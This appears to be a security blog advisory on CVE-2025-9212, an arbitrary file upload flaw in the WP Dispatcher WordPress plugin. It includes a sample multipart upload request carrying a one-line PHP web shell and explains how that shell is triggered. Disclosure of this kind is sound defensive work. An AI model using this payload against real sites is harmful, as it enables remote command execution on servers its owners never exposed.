Ameeba Security Research

Defensive CVE and exploit intelligence

Ameeba Blog Search
TRENDING · 1 WEEK
Attack Vector
Vendor
Severity

CVE-2025-9212: Arbitrary File Upload Vulnerability in WP Dispatcher Plugin for WordPress

Overview

CVE-2025-9212 is a critical vulnerability that affects the WP Dispatcher plugin for WordPress. It enables authenticated attackers with Subscriber-level access and above to upload arbitrary files on the affected site’s server, potentially leading to remote code execution. This vulnerability is serious as it can lead to potential system compromise or data leakage, thereby threatening the security and integrity of websites running on the vulnerable versions of the WP Dispatcher plugin.

Vulnerability Summary

CVE ID: CVE-2025-9212
Severity: High (7.5/10)
Attack Vector: Network
Privileges Required: Low (Subscriber-level access)
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Ameeba Chat Icon Share secrets securely

Ameeba is private infrastructure for communication and sensitive work built on encrypted identity instead of exposed corporate identity systems.

Passwords, credentials, confidential files, screenshots, internal discussions, sensitive AI context, and private coordination should not become exposed across ordinary communication platforms.

  • • Encrypted identity
  • • Private Spaces for organizations and teams
  • • End-to-end encrypted chat, calls, files, and notes
  • • Sensitive AI work and protected collaboration
  • • Built for information that cannot leak

Our mission is to secure human work alongside AI.

Product | Affected Versions

WP Dispatcher plugin for WordPress | Up to and including 1.2.0

How the Exploit Works

The WP Dispatcher plugin for WordPress is missing file type validation in the wp_dispatcher_process_upload() function. This allows authenticated attackers with Subscriber-level access and above to upload arbitrary files, including malicious scripts, to the server. While the directory does have an .htaccess file limiting the ability to execute remote code, successful exploitation of this vulnerability could still potentially lead to remote code execution, system compromise, and data leakage.

Conceptual Example Code

Below is a conceptual example of how an attacker might exploit this vulnerability:

POST /wp-dispatcher/process-upload HTTP/1.1
Host: vulnerable-site.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="malicious_script.php"
Content-Type: application/x-php
<?php echo shell_exec($_GET['cmd']); ?>
----WebKitFormBoundary7MA4YWxkTrZu0gW--

In this example, the attacker uses a POST request to upload a malicious PHP script, which can execute shell commands passed via the ‘cmd’ GET parameter. After the file is uploaded, the attacker can trigger the script by sending a request to the uploaded file’s URL and passing the desired shell command via the ‘cmd’ GET parameter.

Want to discuss this further? Join the Ameeba Cybersecurity Group Chat.

Disclaimer:

The information and code presented in this article are provided for educational and defensive cybersecurity purposes only. Any conceptual or pseudocode examples are simplified representations intended to raise awareness and promote secure development and system configuration practices.

Do not use this information to attempt unauthorized access or exploit vulnerabilities on systems that you do not own or have explicit permission to test.

Ameeba and its authors do not endorse or condone malicious behavior and are not responsible for misuse of the content. Always follow ethical hacking guidelines, responsible disclosure practices, and local laws.
Ameeba Chat